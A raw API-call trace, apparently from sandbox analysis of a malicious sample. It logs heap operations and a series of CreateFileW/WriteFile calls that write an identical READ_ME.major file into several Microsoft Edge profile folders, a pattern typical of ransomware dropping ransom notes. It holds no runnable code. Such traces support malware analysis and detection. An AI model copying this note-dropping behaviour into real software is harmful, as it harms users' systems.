[0210.187] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656f38 [0210.187] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668c50 [0210.187] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d4b0 [0210.187] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0210.187] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657fd8 [0210.187] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b678 | out: hHeap=0x570000) returned 1 [0210.187] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e678 [0210.187] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657fd8 | out: hHeap=0x570000) returned 1 [0210.187] GetLastError () returned 0x0 [0210.187] SetLastError (dwErrCode=0x0) [0210.187] GetLastError () returned 0x0 [0210.187] SetLastError (dwErrCode=0x0) [0210.187] GetLastError () returned 0x0 [0210.187] SetLastError (dwErrCode=0x0) [0210.187] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661b08 [0210.187] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16e4 [0210.188] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x661b08 | out: hHeap=0x570000) returned 1 [0210.188] WriteFile (in: hFile=0x16e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0210.190] CloseHandle (hObject=0x16e4) returned 1 [0210.190] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e678 | out: hHeap=0x570000) returned 1 [0210.190] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0210.190] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0210.190] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x668c50 | out: hHeap=0x570000) returned 1 [0210.190] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60df88 | out: hHeap=0x570000) returned 1 [0210.190] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0210.190] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ae80 [0210.190] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0210.190] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6583c0 [0210.191] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0210.191] GetLastError () returned 0x0 [0210.191] SetLastError (dwErrCode=0x0) [0210.191] GetLastError () returned 0x0 [0210.191] SetLastError (dwErrCode=0x0) [0210.191] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e0b0 [0210.191] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6583c0 | out: hHeap=0x570000) returned 1 [0210.191] GetLastError () returned 0x0 [0210.191] SetLastError (dwErrCode=0x0) [0210.191] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x669310 [0210.191] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656f60 [0210.191] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668590 [0210.191] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0210.191] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0210.191] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658938 [0210.191] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b458 | out: hHeap=0x570000) returned 1 [0210.191] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dae8 [0210.192] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658938 | out: hHeap=0x570000) returned 1 [0210.192] GetLastError () returned 0x0 [0210.192] SetLastError (dwErrCode=0x0) [0210.192] GetLastError () returned 0x0 [0210.192] SetLastError (dwErrCode=0x0) [0210.192] GetLastError () returned 0x0 [0210.192] SetLastError (dwErrCode=0x0) [0210.192] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659d98 [0210.192] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16e4 [0210.194] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659d98 | out: hHeap=0x570000) returned 1 [0210.194] WriteFile (in: hFile=0x16e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0210.195] CloseHandle (hObject=0x16e4) returned 1 [0210.195] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dae8 | out: hHeap=0x570000) returned 1 [0210.195] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0210.195] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0210.195] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x668590 | out: hHeap=0x570000) returned 1 [0210.196] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e0b0 | out: hHeap=0x570000) returned 1 [0210.196] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0210.196] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b678 [0210.196] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0210.196] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657678 [0210.196] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b678 | out: hHeap=0x570000) returned 1 [0210.196] GetLastError () returned 0x0 [0210.196] SetLastError (dwErrCode=0x0) [0210.196] GetLastError () returned 0x0 [0210.196] SetLastError (dwErrCode=0x0) [0210.196] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e550 [0210.196] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657678 | out: hHeap=0x570000) returned 1 [0210.197] GetLastError () returned 0x0 [0210.197] SetLastError (dwErrCode=0x0) [0210.197] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656f88 [0210.197] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e70 [0210.197] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656f88 | out: hHeap=0x570000) returned 1 [0210.197] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e70 | out: hHeap=0x570000) returned 1 [0210.197] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662b58 [0210.197] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e48 [0210.197] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661b08 [0210.197] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0210.197] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0210.197] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657290 [0210.197] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0210.197] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dc10 [0210.198] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657290 | out: hHeap=0x570000) returned 1 [0210.198] GetLastError () returned 0x0 [0210.198] SetLastError (dwErrCode=0x0) [0210.198] GetLastError () returned 0x0 [0210.198] SetLastError (dwErrCode=0x0) [0210.198] GetLastError () returned 0x0 [0210.198] SetLastError (dwErrCode=0x0) [0210.198] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659ba8 [0210.198] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\CortanaAssist\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cortanaassist\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16e4 [0210.200] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659ba8 | out: hHeap=0x570000) returned 1 [0210.200] WriteFile (in: hFile=0x16e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0210.201] CloseHandle (hObject=0x16e4) returned 1 [0210.201] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dc10 | out: hHeap=0x570000) returned 1 [0210.201] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0210.201] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0210.201] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x661b08 | out: hHeap=0x570000) returned 1 [0210.201] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e550 | out: hHeap=0x570000) returned 1 [0210.201] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0210.201] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ae80 [0210.201] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0210.202] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657678 [0210.202] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0210.202] GetLastError () returned 0x0 [0210.202] SetLastError (dwErrCode=0x0) [0210.202] GetLastError () returned 0x0 [0210.202] SetLastError (dwErrCode=0x0) [0210.202] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e550 [0210.202] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657678 | out: hHeap=0x570000) returned 1 [0210.202] GetLastError () returned 0x0 [0210.202] SetLastError (dwErrCode=0x0) [0210.202] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656df8 [0210.202] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656f88 [0210.202] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656df8 | out: hHeap=0x570000) returned 1 [0210.202] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656f88 | out: hHeap=0x570000) returned 1 [0210.202] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x6693e8 [0210.202] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656f88 [0210.202] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x6698f8 [0210.202] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0210.202] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0210.202] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6578d0 [0210.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b2c0 | out: hHeap=0x570000) returned 1 [0210.203] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dd38 [0210.203] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6578d0 | out: hHeap=0x570000) returned 1 [0210.203] GetLastError () returned 0x0 [0210.203] SetLastError (dwErrCode=0x0) [0210.203] GetLastError () returned 0x0 [0210.203] SetLastError (dwErrCode=0x0) [0210.203] GetLastError () returned 0x0 [0210.203] SetLastError (dwErrCode=0x0) [0210.203] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6592f0 [0210.203] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Extensions\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\extensions\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16e4 [0210.205] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6592f0 | out: hHeap=0x570000) returned 1 [0210.205] WriteFile (in: hFile=0x16e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0210.206] CloseHandle (hObject=0x16e4) returned 1 [0210.206] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dd38 | out: hHeap=0x570000) returned 1 [0210.206] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0210.206] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0210.206] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6698f8 | out: hHeap=0x570000) returned 1 [0210.206] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e550 | out: hHeap=0x570000) returned 1 [0210.206] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0210.206] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b568 [0210.206] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0210.206] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6587a8 [0210.206] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b568 | out: hHeap=0x570000) returned 1 [0210.206] GetLastError () returned 0x0 [0210.206] SetLastError (dwErrCode=0x0) [0210.206] GetLastError () returned 0x0 [0210.206] SetLastError (dwErrCode=0x0) [0210.206] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dd38 [0210.206] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6587a8 | out: hHeap=0x570000) returned 1 [0210.207] GetLastError () returned 0x0 [0210.207] SetLastError (dwErrCode=0x0) [0210.207] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x6698f8 [0210.207] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x657050 [0210.207] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x6689c8 [0210.207] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0210.207] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0210.207] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6587a8 [0210.207] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b2c0 | out: hHeap=0x570000) returned 1 [0210.207] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e1d8 [0210.207] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6587a8 | out: hHeap=0x570000) returned 1 [0210.207] GetLastError () returned 0x0 [0210.207] SetLastError (dwErrCode=0x0) [0210.207] GetLastError () returned 0x0 [0210.207] SetLastError (dwErrCode=0x0) [0210.207] GetLastError () returned 0x0 [0210.207] SetLastError (dwErrCode=0x0) [0210.207] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659d98 [0210.207] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\History\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\history\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16e4 [0210.209] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659d98 | out: hHeap=0x570000) returned 1 [0210.209] WriteFile (in: hFile=0x16e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0210.210] CloseHandle (hObject=0x16e4) returned 1 [0210.210] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e1d8 | out: hHeap=0x570000) returned 1 [0210.210] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0210.210] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0210.210] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6689c8 | out: hHeap=0x570000) returned 1 [0210.210] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dd38 | out: hHeap=0x570000) returned 1 [0210.210] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0210.210] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b700 [0210.210] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0210.210] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6583c0 [0210.211] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b700 | out: hHeap=0x570000) returned 1 [0210.211] GetLastError () returned 0x0 [0210.211] SetLastError (dwErrCode=0x0) [0210.211] GetLastError () returned 0x0 [0210.211] SetLastError (dwErrCode=0x0) [0210.211] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e678 [0210.211] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6583c0 | out: hHeap=0x570000) returned 1 [0210.211] GetLastError () returned 0x0 [0210.211] SetLastError (dwErrCode=0x0) [0210.211] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656fb0 [0210.211] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656f10 [0210.211] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656fb0 | out: hHeap=0x570000) returned 1 [0210.211] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656f10 | out: hHeap=0x570000) returned 1 [0210.211] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661b08 [0210.211] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e98 [0210.211] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661bf0 [0210.211] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0210.211] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0210.211] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x657290 [0210.211] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0210.211] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e1d8 [0210.211] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657290 | out: hHeap=0x570000) returned 1 [0210.212] GetLastError () returned 0x0 [0210.212] SetLastError (dwErrCode=0x0) [0210.212] GetLastError () returned 0x0 [0210.212] SetLastError (dwErrCode=0x0) [0210.212] GetLastError () returned 0x0 [0210.212] SetLastError (dwErrCode=0x0) [0210.212] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659100 [0210.212] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\IECompatCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\iecompatcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16e4 [0210.213] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659100 | out: hHeap=0x570000) returned 1 [0210.213] WriteFile (in: hFile=0x16e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0210.214] CloseHandle (hObject=0x16e4) returned 1 [0210.214] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e1d8 | out: hHeap=0x570000) returned 1 [0210.214] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0210.214] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0210.214] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x661bf0 | out: hHeap=0x570000) returned 1 [0210.215] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e678 | out: hHeap=0x570000) returned 1 [0210.215] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0210.215] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ae80 [0210.215] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0210.215] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658168 [0210.215] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0210.215] GetLastError () returned 0x0 [0210.215] SetLastError (dwErrCode=0x0) [0210.215] GetLastError () returned 0x0 [0210.215] SetLastError (dwErrCode=0x0) [0210.215] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e0b0 [0210.215] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658168 | out: hHeap=0x570000) returned 1 [0210.215] GetLastError () returned 0x0 [0210.215] SetLastError (dwErrCode=0x0) [0210.215] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656df8 [0210.215] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656ec0 [0210.215] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656df8 | out: hHeap=0x570000) returned 1 [0210.215] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656ec0 | out: hHeap=0x570000) returned 1 [0210.215] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661bf0 [0210.216] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x657078 [0210.216] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661cd8 [0210.216] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0210.216] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0210.216] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x658618 [0210.216] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b018 | out: hHeap=0x570000) returned 1 [0210.216] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60df88 [0210.216] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658618 | out: hHeap=0x570000) returned 1 [0210.216] GetLastError () returned 0x0 [0210.216] SetLastError (dwErrCode=0x0) [0210.216] GetLastError () returned 0x0 [0210.216] SetLastError (dwErrCode=0x0) [0210.216] GetLastError () returned 0x0 [0210.216] SetLastError (dwErrCode=0x0) [0210.216] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660750 [0210.216] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\IECompatUaCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\iecompatuacache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x16e4 [0210.222] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x660750 | out: hHeap=0x570000) returned 1 [0210.222] WriteFile (in: hFile=0x16e4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0210.224] CloseHandle (hObject=0x16e4) returned 1 [0210.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60df88 | out: hHeap=0x570000) returned 1 [0210.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0210.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0210.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x661cd8 | out: hHeap=0x570000) returned 1 [0210.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e0b0 | out: hHeap=0x570000) returned 1 [0210.224] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0210.224] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 